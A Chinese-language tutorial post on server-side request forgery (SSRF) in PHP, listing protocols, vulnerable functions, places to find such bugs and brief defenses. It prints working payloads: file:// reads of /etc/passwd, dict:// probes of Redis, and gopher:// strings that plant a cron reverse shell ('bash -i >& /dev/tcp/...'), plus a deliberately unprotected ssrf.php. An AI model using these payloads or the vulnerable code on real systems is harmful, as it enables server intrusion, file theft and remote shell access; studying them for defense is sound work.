SSRF漏洞学习

什么是 SSRF ?

简介:SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。


SSRF危害即可以实现的攻击行为

  1. 主机本地敏感信息读取, 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的Banner信息
  2. 攻击运行在内外网主机的应用程序
  3. 通过访问默认文件对内网 Web 应用进行指纹识别
  4. 攻击内外网的 Web 应用,主要是使用 GET参数就可以实现的攻击
  5. 利用file协议读取本地文件


可进行利用的协议

FILE                           读取服务器上任意文件内容
IMAP/IMAPS/POP3SMTP/SMTPS      爆破邮件用户名密码
FTP/FTPS                       FTP匿名访问、爆破
DICT                           操作内网Redis等服务
GOPHER                         能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞
TFTP                           UDP协议扩展

使用curl -V命令可以查看Ubuntu 16.04版本下默认的libcurl支持的协议

PHP中容易造成漏洞的函数

curl_exec()
file_get_contents()
fsockopen()


漏洞利用

  • 本地利用

利用方式

  1. 利用file协议查看文件

curl -v 'file:///etc/passwd'

  1. 利用dict探测端口

curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

  1. 利用gopher协议反弹shell

curl -v 'gopher://靶机ip:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

更换IP和端口时,命令中的$58也要更改,$58表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推。

注:Windows下使用curl命令需要把单引号换成双引号

  • 远程利用

例 1
ssrf.php (未做任何ssrf防御)

<?php
function curl($url){  
    // 创建一个新cURL资源
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它传递给浏览器
    curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);
}

$url = $_GET['url'];
curl($url); 
?>

$GET_['url']可控,从而可以发送任意请求站点,构成ssrf漏洞
利用方式

# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

例 2
ssrf2.php
限制协议为HTTP、HTTPS
设置跳转重定向为True(默认不跳转)

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
    // 限制为HTTPS、HTTP协议
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时使用dict协议已经不成功,可以利用302跳转的方式来绕过http协议限制


漏洞寻找

分享功能,通过 URL 地址分享网页内容

早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>标签或者<meta name="description" content=“”/>标签中content的文本内容作为显示以提供更好的用户体验

转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务

在线翻译:通过URL地址翻译对应文本的内容。

提供此功能的国内公司有百度、有道等

图片加载与下载:通过URL地址加载或下载图片

图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)

图片、文章收藏功能

此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载

从URL关键字中寻找

share,url,link,src,source,target,sourceURl,imageURL,domain...

未公开的api实现以及其他调用URL的功能

此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。

其他

数据库内置功能,比如mongodb的copyDatabase函数
接收邮件服务器地址的邮件系统


漏洞防护

  1. 限制协议为HTTP、HTTPS
  2. 限制302跳转次数
  3. 统一错误信息
  4. 限制内网IP


参考链接:
https://joychou.org/web/phpssrf.html
http://www.mottoin.com/tech/115007.html
https://feei.cn/ssrf
https://www.jianshu.com/p/24ca56a2f5f5

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容